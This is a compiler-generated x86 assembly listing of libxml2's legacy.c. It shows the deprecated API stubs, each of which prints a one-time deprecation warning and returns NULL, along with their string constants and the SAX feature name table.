_xmlParseQuotedString PUBLIC _xmlParseNamespace PUBLIC _xmlNamespaceParseNSDef PUBLIC _xmlScanName PUBLIC _xmlNamespaceParseNCName PUBLIC _xmlParserHandleReference PUBLIC _xmlNamespaceParseQName PUBLIC _xmlDecodeEntities PUBLIC _xmlHandleEntity PUBLIC _xmlUpgradeOldNs PUBLIC _htmlDecodeEntities PUBLIC __JustMyCode_Default PUBLIC ??_C@_0DC@FMAPIHAG@htmlDecodeEntities?$CI?$CJ?5deprecated@ ; `string' PUBLIC ??_C@_0DB@POEMFHLM@xmlDecodeEntities?$CI?$CJ?5deprecated?5@ ; `string' PUBLIC ??_C@_0DH@ICKCGFND@xmlNamespaceParseNCName?$CI?$CJ?5depre@ ; `string' PUBLIC ??_C@_0DG@MPOCNCN@xmlNamespaceParseQName?$CI?$CJ?5deprec@ ; `string' PUBLIC ??_C@_0DG@MGBDBIFJ@xmlNamespaceParseNSDef?$CI?$CJ?5deprec@ ; `string' PUBLIC ??_C@_0DE@OBDNBOEL@xmlParseQuotedString?$CI?$CJ?5deprecat@ ; `string' PUBLIC ??_C@_0DB@IEBMLCBD@xmlParseNamespace?$CI?$CJ?5deprecated?5@ ; `string' PUBLIC ??_C@_0CL@EEIIADKA@xmlScanName?$CI?$CJ?5deprecated?5functi@ ; `string' PUBLIC ??_C@_0DI@DPIOCKJJ@xmlParserHandleReference?$CI?$CJ?5depr@ ; `string' PUBLIC ??_C@_0CP@LFMHECDH@xmlHandleEntity?$CI?$CJ?5deprecated?5fu@ ; `string' PUBLIC ??_C@_0CO@DFBKILL@xmlNewGlobalNs?$CI?$CJ?5deprecated?5fun@ ; `string' PUBLIC ??_C@_0CP@KGKDLIM@xmlUpgradeOldNs?$CI?$CJ?5deprecated?5fu@ ; `string' PUBLIC ??_C@_0CJ@KEKEIBCJ@Deprecated?5API?5xmlEncodeEntitie@ ; `string' PUBLIC ??_C@_0DE@BODOCGDI@?5?5?5change?5code?5to?5use?5xmlEncode@ ; `string' PUBLIC ??_C@_0M@DAFHLKNN@getPublicId@ ; `string' PUBLIC ??_C@_0CF@IBLEBJPG@Use?5of?5deprecated?5SAXv1?5functio@ ; `string' PUBLIC ??_C@_0M@FFHGBOOJ@getSystemId@ ; `string' PUBLIC ??_C@_0O@OCINCMPB@getLineNumber@ ; `string' PUBLIC ??_C@_0BA@MBKHJKLG@getColumnNumber@ ; `string' PUBLIC ??_C@_0N@GDKLDDLO@isStandalone@ ; `string' PUBLIC ??_C@_0BC@CIDJHICF@hasInternalSubset@ ; `string' PUBLIC ??_C@_0BC@PDLMKGBL@hasExternalSubset@ ; `string' PUBLIC ??_C@_0P@OCEDHHOL@internalSubset@ ; `string' PUBLIC ??_C@_0P@DJMGKJNF@externalSubset@ ; `string' PUBLIC ??_C@_0O@LFLMJBFI@resolveEntity@ ; `string' PUBLIC ??_C@_09NCBEBLEA@getEntity@ ; `string' PUBLIC ??_C@_0BD@KINJKNIJ@getParameterEntity@ ; `string' PUBLIC ??_C@_0L@OGGGJLI@entityDecl@ ; `string' PUBLIC ??_C@_0O@BNECHEBL@attributeDecl@ ; `string' PUBLIC ??_C@_0M@FJEPBGK@elementDecl@ ; `string' PUBLIC ??_C@_0N@CBDPABNA@notationDecl@ ; `string' PUBLIC ??_C@_0BD@HCBGHJEF@unparsedEntityDecl@ ; `string' PUBLIC ??_C@_0BD@DHECJBOB@setDocumentLocator@ ; `string' PUBLIC ??_C@_0M@OBDBPPLP@endDocument@ ; `string' PUBLIC ??_C@_09HGIEBAJ@attribute@ ; `string' PUBLIC ??_C@_0L@GKEIAKOG@endElement@ ; `string' PUBLIC ??_C@_09KJONPCOF@reference@ ; `string' PUBLIC ??_C@_0L@MKHPBEDE@characters@ ; `string' PUBLIC ??_C@_0BE@JAKNEPAP@ignorableWhitespace@ ; `string' PUBLIC ??_C@_0BG@BKBGIBPJ@processingInstruction@ ; `string' PUBLIC ??_C@_0BA@HBAGMMIM@globalNamespace@ ; `string' PUBLIC ??_C@_0N@PFFBACNP@setNamespace@ ; `string' PUBLIC ??_C@_0N@IBOPMOJD@getNamespace@ ; `string' PUBLIC ??_C@_0P@HOABFNF@checkNamespace@ ; `string' PUBLIC ??_C@_0O@BMLADFEG@namespaceDecl@ ; `string' PUBLIC ??_C@_07GJGNEJFD@comment@ ; `string' PUBLIC ??_C@_0L@HKAOEGJH@cdataBlock@ ; `string' EXTRN _xmlParserValidityError:PROC EXTRN _xmlParserValidityWarning:PROC EXTRN _xmlSAX2GetPublicId:PROC EXTRN _xmlSAX2GetSystemId:PROC EXTRN _xmlSAX2GetLineNumber:PROC EXTRN _xmlSAX2GetColumnNumber:PROC EXTRN _xmlSAX2IsStandalone:PROC EXTRN _xmlSAX2HasInternalSubset:PROC EXTRN _xmlSAX2HasExternalSubset:PROC EXTRN _xmlSAX2InternalSubset:PROC EXTRN _xmlSAX2ExternalSubset:PROC EXTRN _xmlSAX2GetEntity:PROC EXTRN _xmlSAX2GetParameterEntity:PROC EXTRN _xmlSAX2ResolveEntity:PROC EXTRN _xmlSAX2EntityDecl:PROC EXTRN _xmlSAX2AttributeDecl:PROC EXTRN _xmlSAX2ElementDecl:PROC EXTRN _xmlSAX2NotationDecl:PROC EXTRN _xmlSAX2UnparsedEntityDecl:PROC EXTRN _xmlSAX2StartDocument:PROC EXTRN _xmlSAX2EndDocument:PROC EXTRN _xmlSAX2StartElement:PROC EXTRN _xmlSAX2EndElement:PROC EXTRN _xmlSAX2Reference:PROC EXTRN _xmlSAX2Characters:PROC EXTRN _xmlSAX2ProcessingInstruction:PROC EXTRN _xmlSAX2Comment:PROC EXTRN _xmlSAX2CDataBlock:PROC EXTRN ___xmlGenericError:PROC EXTRN ___xmlGenericErrorContext:PROC EXTRN @__CheckForDebuggerJustMyCode@4:PROC _BSS SEGMENT ?deprecated@?1??htmlDecodeEntities@@9@9 DD 01H DUP (?) ; `htmlDecodeEntities'::`2'::deprecated ?deprecated@?1??xmlDecodeEntities@@9@9 DD 01H DUP (?) ; `xmlDecodeEntities'::`2'::deprecated ?deprecated@?1??xmlNamespaceParseNCName@@9@9 DD 01H DUP (?) ; `xmlNamespaceParseNCName'::`2'::deprecated ?deprecated@?1??xmlNamespaceParseQName@@9@9 DD 01H DUP (?) ; `xmlNamespaceParseQName'::`2'::deprecated ?deprecated@?1??xmlNamespaceParseNSDef@@9@9 DD 01H DUP (?) ; `xmlNamespaceParseNSDef'::`2'::deprecated ?deprecated@?1??xmlParseQuotedString@@9@9 DD 01H DUP (?) ; `xmlParseQuotedString'::`2'::deprecated ?deprecated@?1??xmlParseNamespace@@9@9 DD 01H DUP (?) ; `xmlParseNamespace'::`2'::deprecated ?deprecated@?1??xmlScanName@@9@9 DD 01H DUP (?) ; `xmlScanName'::`2'::deprecated ?deprecated@?1??xmlParserHandleReference@@9@9 DD 01H DUP (?) ; `xmlParserHandleReference'::`2'::deprecated ?deprecated@?1??xmlHandleEntity@@9@9 DD 01H DUP (?) ; `xmlHandleEntity'::`2'::deprecated ?deprecated@?1??xmlNewGlobalNs@@9@9 DD 01H DUP (?) ; `xmlNewGlobalNs'::`2'::deprecated ?deprecated@?1??xmlUpgradeOldNs@@9@9 DD 01H DUP (?) ; `xmlUpgradeOldNs'::`2'::deprecated _deprecated_v1_msg DD 01H DUP (?) _BSS ENDS ; COMDAT ??_C@_0L@HKAOEGJH@cdataBlock@ CONST SEGMENT ??_C@_0L@HKAOEGJH@cdataBlock@ DB 'cdataBlock', 00H ; `string' CONST ENDS ; COMDAT ??_C@_07GJGNEJFD@comment@ CONST SEGMENT ??_C@_07GJGNEJFD@comment@ DB 'comment', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0O@BMLADFEG@namespaceDecl@ CONST SEGMENT ??_C@_0O@BMLADFEG@namespaceDecl@ DB 'namespaceDecl', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0P@HOABFNF@checkNamespace@ CONST SEGMENT ??_C@_0P@HOABFNF@checkNamespace@ DB 'checkNamespace', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0N@IBOPMOJD@getNamespace@ CONST SEGMENT ??_C@_0N@IBOPMOJD@getNamespace@ DB 'getNamespace', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0N@PFFBACNP@setNamespace@ CONST SEGMENT ??_C@_0N@PFFBACNP@setNamespace@ DB 'setNamespace', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BA@HBAGMMIM@globalNamespace@ CONST SEGMENT ??_C@_0BA@HBAGMMIM@globalNamespace@ DB 'globalNamespace', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BG@BKBGIBPJ@processingInstruction@ CONST SEGMENT ??_C@_0BG@BKBGIBPJ@processingInstruction@ DB 'processingInstruction', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BE@JAKNEPAP@ignorableWhitespace@ CONST SEGMENT ??_C@_0BE@JAKNEPAP@ignorableWhitespace@ DB 'ignorableWhitespace', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0L@MKHPBEDE@characters@ CONST SEGMENT ??_C@_0L@MKHPBEDE@characters@ DB 'characters', 00H ; `string' CONST ENDS ; COMDAT ??_C@_09KJONPCOF@reference@ CONST SEGMENT ??_C@_09KJONPCOF@reference@ DB 'reference', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0L@GKEIAKOG@endElement@ CONST SEGMENT ??_C@_0L@GKEIAKOG@endElement@ DB 'endElement', 00H ; `string' CONST ENDS ; COMDAT ??_C@_09HGIEBAJ@attribute@ CONST SEGMENT ??_C@_09HGIEBAJ@attribute@ DB 'attribute', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0M@OBDBPPLP@endDocument@ CONST SEGMENT ??_C@_0M@OBDBPPLP@endDocument@ DB 'endDocument', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BD@DHECJBOB@setDocumentLocator@ CONST SEGMENT ??_C@_0BD@DHECJBOB@setDocumentLocator@ DB 'setDocumentLocator', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BD@HCBGHJEF@unparsedEntityDecl@ CONST SEGMENT ??_C@_0BD@HCBGHJEF@unparsedEntityDecl@ DB 'unparsedEntityDecl', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0N@CBDPABNA@notationDecl@ CONST SEGMENT ??_C@_0N@CBDPABNA@notationDecl@ DB 'notationDecl', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0M@FJEPBGK@elementDecl@ CONST SEGMENT ??_C@_0M@FJEPBGK@elementDecl@ DB 'elementDecl', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0O@BNECHEBL@attributeDecl@ CONST SEGMENT ??_C@_0O@BNECHEBL@attributeDecl@ DB 'attributeDecl', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0L@OGGGJLI@entityDecl@ CONST SEGMENT ??_C@_0L@OGGGJLI@entityDecl@ DB 'entityDecl', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BD@KINJKNIJ@getParameterEntity@ CONST SEGMENT ??_C@_0BD@KINJKNIJ@getParameterEntity@ DB 'getParameterEntity', 00H ; `string' CONST ENDS ; COMDAT ??_C@_09NCBEBLEA@getEntity@ CONST SEGMENT ??_C@_09NCBEBLEA@getEntity@ DB 'getEntity', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0O@LFLMJBFI@resolveEntity@ CONST SEGMENT ??_C@_0O@LFLMJBFI@resolveEntity@ DB 'resolveEntity', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0P@DJMGKJNF@externalSubset@ CONST SEGMENT ??_C@_0P@DJMGKJNF@externalSubset@ DB 'externalSubset', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0P@OCEDHHOL@internalSubset@ CONST SEGMENT ??_C@_0P@OCEDHHOL@internalSubset@ DB 'internalSubset', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BC@PDLMKGBL@hasExternalSubset@ CONST SEGMENT ??_C@_0BC@PDLMKGBL@hasExternalSubset@ DB 'hasExternalSubset', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BC@CIDJHICF@hasInternalSubset@ CONST SEGMENT ??_C@_0BC@CIDJHICF@hasInternalSubset@ DB 'hasInternalSubset', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0N@GDKLDDLO@isStandalone@ CONST SEGMENT ??_C@_0N@GDKLDDLO@isStandalone@ DB 'isStandalone', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BA@MBKHJKLG@getColumnNumber@ CONST SEGMENT ??_C@_0BA@MBKHJKLG@getColumnNumber@ DB 'getColumnNumber', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0O@OCINCMPB@getLineNumber@ CONST SEGMENT ??_C@_0O@OCINCMPB@getLineNumber@ DB 'getLineNumber', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0M@FFHGBOOJ@getSystemId@ CONST SEGMENT ??_C@_0M@FFHGBOOJ@getSystemId@ DB 'getSystemId', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CF@IBLEBJPG@Use?5of?5deprecated?5SAXv1?5functio@ CONST SEGMENT ??_C@_0CF@IBLEBJPG@Use?5of?5deprecated?5SAXv1?5functio@ DB 'Use of deprec' DB 'ated SAXv1 function %s', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0M@DAFHLKNN@getPublicId@ CONST SEGMENT ??_C@_0M@DAFHLKNN@getPublicId@ DB 'getPublicId', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0DE@BODOCGDI@?5?5?5change?5code?5to?5use?5xmlEncode@ CONST SEGMENT ??_C@_0DE@BODOCGDI@?5?5?5change?5code?5to?5use?5xmlEncode@ DB ' change ' DB 'code to use xmlEncodeEntitiesReentrant()', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CJ@KEKEIBCJ@Deprecated?5API?5xmlEncodeEntitie@ CONST SEGMENT ??_C@_0CJ@KEKEIBCJ@Deprecated?5API?5xmlEncodeEntitie@ DB 'Deprecated API ' DB 'xmlEncodeEntities() used', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CP@KGKDLIM@xmlUpgradeOldNs?$CI?$CJ?5deprecated?5fu@ CONST SEGMENT ??_C@_0CP@KGKDLIM@xmlUpgradeOldNs?$CI?$CJ?5deprecated?5fu@ DB 'xmlUpgrade' DB 'OldNs() deprecated function reached', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CO@DFBKILL@xmlNewGlobalNs?$CI?$CJ?5deprecated?5fun@ CONST SEGMENT ??_C@_0CO@DFBKILL@xmlNewGlobalNs?$CI?$CJ?5deprecated?5fun@ DB 'xmlNewGlob' DB 'alNs() deprecated function reached', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CP@LFMHECDH@xmlHandleEntity?$CI?$CJ?5deprecated?5fu@ CONST SEGMENT ??_C@_0CP@LFMHECDH@xmlHandleEntity?$CI?$CJ?5deprecated?5fu@ DB 'xmlHandle' DB 'Entity() deprecated function reached', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0DI@DPIOCKJJ@xmlParserHandleReference?$CI?$CJ?5depr@ CONST SEGMENT ??_C@_0DI@DPIOCKJJ@xmlParserHandleReference?$CI?$CJ?5depr@ DB 'xmlParserH' DB 'andleReference() deprecated function reached', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CL@EEIIADKA@xmlScanName?$CI?$CJ?5deprecated?5functi@ CONST SEGMENT ??_C@_0CL@EEIIADKA@xmlScanName?$CI?$CJ?5deprecated?5functi@ DB 'xmlScanNa' DB 'me() deprecated function reached', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0DB@IEBMLCBD@xmlParseNamespace?$CI?$CJ?5deprecated?5@ CONST SEGMENT ??_C@_0DB@IEBMLCBD@xmlParseNamespace?$CI?$CJ?5deprecated?5@ DB 'xmlParseN' DB 'amespace() deprecated function reached', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0DE@OBDNBOEL@xmlParseQuotedString?$CI?$CJ?5deprecat@ CONST SEGMENT ??_C@_0DE@OBDNBOEL@xmlParseQuotedString?$CI?$CJ?5deprecat@ DB 'xmlParseQu' DB 'otedString() deprecated function reached', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0DG@MGBDBIFJ@xmlNamespaceParseNSDef?$CI?$CJ?5deprec@ CONST SEGMENT ??_C@_0DG@MGBDBIFJ@xmlNamespaceParseNSDef?$CI?$CJ?5deprec@ DB 'xmlNamespa' DB 'ceParseNSDef() deprecated function reached', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0DG@MPOCNCN@xmlNamespaceParseQName?$CI?$CJ?5deprec@ CONST SEGMENT ??_C@_0DG@MPOCNCN@xmlNamespaceParseQName?$CI?$CJ?5deprec@ DB 'xmlNamespac' DB 'eParseQName() deprecated function reached', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0DH@ICKCGFND@xmlNamespaceParseNCName?$CI?$CJ?5depre@ CONST SEGMENT ??_C@_0DH@ICKCGFND@xmlNamespaceParseNCName?$CI?$CJ?5depre@ DB 'xmlNamespa' DB 'ceParseNCName() deprecated function reached', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0DB@POEMFHLM@xmlDecodeEntities?$CI?$CJ?5deprecated?5@ CONST SEGMENT ??_C@_0DB@POEMFHLM@xmlDecodeEntities?$CI?$CJ?5deprecated?5@ DB 'xmlDecode' DB 'Entities() deprecated function reached', 0aH, 00H ; `string' CONST ENDS _DATA SEGMENT _xmlFeaturesList DD FLAT:??_C@_08EBLJJHKN@validate@ DD FLAT:??_C@_0M@LFNKGPPF@load?5subset@ DD FLAT:??_C@_0M@JOFGOHIP@keep?5blanks@ DD FLAT:??_C@_0M@EPCDMNHL@disable?5SAX@ DD FLAT:??_C@_0BI@NFNCEEMJ@fetch?5external?5entities@ DD FLAT:??_C@_0BE@MFJOLEGC@substitute?5entities@ DD FLAT:??_C@_0BB@FNGHLMDK@gather?5line?5info@ DD FLAT:??_C@_09OBFNJHCP@user?5data@ DD FLAT:??_C@_07ELANCDBJ@is?5html@ DD FLAT:??_C@_0O@NMMOLLEF@is?5standalone@ DD FLAT:??_C@_0M@DGHBBHCN@stop?5parser@ DD FLAT:??_C@_08JEEDKNPB@document@ DD FLAT:??_C@_0P@NEKMCKKP@is?5well?5formed@ DD FLAT:??_C@_08EKBKNFNH@is?5valid@ DD FLAT:??_C@_09HIOCHIDE@SAX?5block@ DD FLAT:??_C@_0BM@OCAFNLBC@SAX?5function?5internalSubset@ DD FLAT:??_C@_0BK@KGOMEKBB@SAX?5function?5isStandalone@ DD FLAT:??_C@_0BP@PCBCHDK@SAX?5function?5hasInternalSubset@ DD FLAT:??_C@_0BP@NEKEPJAE@SAX?5function?5hasExternalSubset@ DD FLAT:??_C@_0BL@PDBAGIFI@SAX?5function?5resolveEntity@ DD FLAT:??_C@_0BH@FFFDLCDF@SAX?5function?5getEntity@ DD FLAT:??_C@_0BI@COIOKLKC@SAX?5function?5entityDecl@ DD FLAT:??_C@_0BK@OEHIHIHP@SAX?5function?5notationDecl@ DD FLAT:??_C@_0BL@FLOOINBL@SAX?5function?5attributeDecl@ DD FLAT:??_C@_0BJ@PINGOANC@SAX?5function?5elementDecl@ DD FLAT:??_C@_0CA@PPDJGMOP@SAX?5function?5unparsedEntityDecl@ DD FLAT:??_C@_0CA@LKGNIEEL@SAX?5function?5setDocumentLocator@ DD FLAT:??_C@_0BL@GBPENFAA@SAX?5function?5startDocument@ DD FLAT:??_C@_0BJ@BMHDOOAH@SAX?5function?5endDocument@ DD FLAT:??_C@_0BK@MKAFHOHD@SAX?5function?5startElement@ DD FLAT:??_C@_0BI@EKKAMIPM@SAX?5function?5endElement@ DD FLAT:??_C@_0BH@COKKFLJA@SAX?5function?5reference@ DD FLAT:??_C@_0BI@OKJHNGCO@SAX?5function?5characters@ DD FLAT:??_C@_0CB@KGCDCKOM@SAX?5function?5ignorableWhitespac@ DD FLAT:??_C@_0CD@FCJNICIP@SAX?5function?5processingInstruct@ DD FLAT:??_C@_0BF@LMDIIKPA@SAX?5function?5comment@ DD FLAT:??_C@_0BF@IKOPPKMI@SAX?5function?5warning@ DD FLAT:??_C@_0BD@DNENFEEM@SAX?5function?5error@ DD FLAT:??_C@_0BI@IMPPHMFP@SAX?5function?5fatalError@ DD FLAT:??_C@_0CA@CFPGLICD@SAX?5function?5getParameterEntity@ DD FLAT:??_C@_0BI@FKOGIEIN@SAX?5function?5cdataBlock@ DD FLAT:??_C@_0BM@DJIAAFCM@SAX?5function?5externalSubset@ ?warning@?1??xmlEncodeEntities@@9@9 DD 01H ; `xmlEncodeEntities'::`2'::warning _DATA ENDS ; COMDAT ??_C@_0DC@FMAPIHAG@htmlDecodeEntities?$CI?$CJ?5deprecated@ CONST SEGMENT ??_C@_0DC@FMAPIHAG@htmlDecodeEntities?$CI?$CJ?5deprecated@ DB 'htmlDecode' DB 'Entities() deprecated function reached', 0aH, 00H ; `string' CONST ENDS ; Function compile flags: /Odt ; COMDAT __JustMyCode_Default _TEXT SEGMENT __JustMyCode_Default PROC ; COMDAT push ebp mov ebp, esp pop ebp ret 0 __JustMyCode_Default ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _htmlDecodeEntities _TEXT SEGMENT _ctxt$ = 8 ; size = 4 _len$ = 12 ; size = 4 _end$ = 16 ; size = 1 _end2$ = 20 ; size = 1 _end3$ = 24 ; size = 1 _htmlDecodeEntities PROC ; COMDAT mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 cmp DWORD PTR ?deprecated@?1??htmlDecodeEntities@@9@9, 0 jne SHORT $LN4@htmlDecode ; 55 : static int deprecated = 0; ; 56 : ; 57 : if (!deprecated) { ; 58 : xmlGenericError(xmlGenericErrorContext, push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0DC@FMAPIHAG@htmlDecodeEntities?$CI?$CJ?5deprecated@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax add esp, 8 ; 59 : "htmlDecodeEntities() deprecated function reached\n"); ; 60 : deprecated = 1; mov DWORD PTR ?deprecated@?1??htmlDecodeEntities@@9@9, 1 ; 61 : } ; 62 : return (NULL); pop esi $LN4@htmlDecode: ; 63 : } xor eax, eax ret 0 _htmlDecodeEntities ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _xmlUpgradeOldNs _TEXT SEGMENT _doc$ = 8 ; size = 4 _xmlUpgradeOldNs PROC ; COMDAT mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 cmp DWORD PTR ?deprecated@?1??xmlUpgradeOldNs@@9@9, 0 jne SHORT $LN2@xmlUpgrade ; 703 : static int deprecated = 0; ; 704 : ; 705 : if (!deprecated) { ; 706 : xmlGenericError(xmlGenericErrorContext, push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0CP@KGKDLIM@xmlUpgradeOldNs?$CI?$CJ?5deprecated?5fu@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax add esp, 8 ; 707 : "xmlUpgradeOldNs() deprecated function reached\n"); ; 708 : deprecated = 1; mov DWORD PTR ?deprecated@?1??xmlUpgradeOldNs@@9@9, 1 pop esi $LN2@xmlUpgrade: ; 709 : } ; 710 : } ret 0 _xmlUpgradeOldNs ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _xmlHandleEntity _TEXT SEGMENT _ctxt$ = 8 ; size = 4 _entity$ = 12 ; size = 4 _xmlHandleEntity PROC ; COMDAT mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 cmp DWORD PTR ?deprecated@?1??xmlHandleEntity@@9@9, 0 jne SHORT $LN2@xmlHandleE ; 659 : static int deprecated = 0; ; 660 : ; 661 : if (!deprecated) { ; 662 : xmlGenericError(xmlGenericErrorContext, push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0CP@LFMHECDH@xmlHandleEntity?$CI?$CJ?5deprecated?5fu@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax add esp, 8 ; 663 : "xmlHandleEntity() deprecated function reached\n"); ; 664 : deprecated = 1; mov DWORD PTR ?deprecated@?1??xmlHandleEntity@@9@9, 1 pop esi $LN2@xmlHandleE: ; 665 : } ; 666 : } ret 0 _xmlHandleEntity ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _xmlDecodeEntities _TEXT SEGMENT _ctxt$ = 8 ; size = 4 _len$ = 12 ; size = 4 _what$ = 16 ; size = 4 _end$ = 20 ; size = 1 _end2$ = 24 ; size = 1 _end3$ = 28 ; size = 1 _xmlDecodeEntities PROC ; COMDAT mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 cmp DWORD PTR ?deprecated@?1??xmlDecodeEntities@@9@9, 0 jne SHORT $LN4@xmlDecodeE ; 416 : static int deprecated = 0; ; 417 : ; 418 : if (!deprecated) { ; 419 : xmlGenericError(xmlGenericErrorContext, push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0DB@POEMFHLM@xmlDecodeEntities?$CI?$CJ?5deprecated?5@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax add esp, 8 ; 420 : "xmlDecodeEntities() deprecated function reached\n"); ; 421 : deprecated = 1; mov DWORD PTR ?deprecated@?1??xmlDecodeEntities@@9@9, 1 ; 422 : } ; 423 : return (NULL); pop esi $LN4@xmlDecodeE: ; 424 : } xor eax, eax ret 0 _xmlDecodeEntities ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _xmlNamespaceParseQName _TEXT SEGMENT _ctxt$ = 8 ; size = 4 _prefix$ = 12 ; size = 4 _xmlNamespaceParseQName PROC ; COMDAT mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 cmp DWORD PTR ?deprecated@?1??xmlNamespaceParseQName@@9@9, 0 jne SHORT $LN4@xmlNamespa ; 480 : ; 481 : static int deprecated = 0; ; 482 : ; 483 : if (!deprecated) { ; 484 : xmlGenericError(xmlGenericErrorContext, push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0DG@MPOCNCN@xmlNamespaceParseQName?$CI?$CJ?5deprec@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax add esp, 8 ; 485 : "xmlNamespaceParseQName() deprecated function reached\n"); ; 486 : deprecated = 1; mov DWORD PTR ?deprecated@?1??xmlNamespaceParseQName@@9@9, 1 ; 487 : } ; 488 : return (NULL); pop esi $LN4@xmlNamespa: ; 489 : } xor eax, eax ret 0 _xmlNamespaceParseQName ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _xmlParserHandleReference _TEXT SEGMENT _ctxt$ = 8 ; size = 4 _xmlParserHandleReference PROC ; COMDAT mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 cmp DWORD PTR ?deprecated@?1??xmlParserHandleReference@@9@9, 0 jne SHORT $LN2@xmlParserH ; 633 : static int deprecated = 0; ; 634 : ; 635 : if (!deprecated) { ; 636 : xmlGenericError(xmlGenericErrorContext, push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0DI@DPIOCKJJ@xmlParserHandleReference?$CI?$CJ?5depr@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax add esp, 8 ; 637 : "xmlParserHandleReference() deprecated function reached\n"); ; 638 : deprecated = 1; mov DWORD PTR ?deprecated@?1??xmlParserHandleReference@@9@9, 1 pop esi $LN2@xmlParserH: ; 639 : } ; 640 : ; 641 : return; ; 642 : } ret 0 _xmlParserHandleReference ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _xmlNamespaceParseNCName _TEXT SEGMENT _ctxt$ = 8 ; size = 4 _xmlNamespaceParseNCName PROC ; COMDAT mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 cmp DWORD PTR ?deprecated@?1??xmlNamespaceParseNCName@@9@9, 0 jne SHORT $LN4@xmlNamespa ; 446 : static int deprecated = 0; ; 447 : ; 448 : if (!deprecated) { ; 449 : xmlGenericError(xmlGenericErrorContext, push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0DH@ICKCGFND@xmlNamespaceParseNCName?$CI?$CJ?5depre@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax add esp, 8 ; 450 : "xmlNamespaceParseNCName() deprecated function reached\n"); ; 451 : deprecated = 1; mov DWORD PTR ?deprecated@?1??xmlNamespaceParseNCName@@9@9, 1 ; 452 : } ; 453 : return (NULL); pop esi $LN4@xmlNamespa: ; 454 : } xor eax, eax ret 0 _xmlNamespaceParseNCName ENDP _TEXT 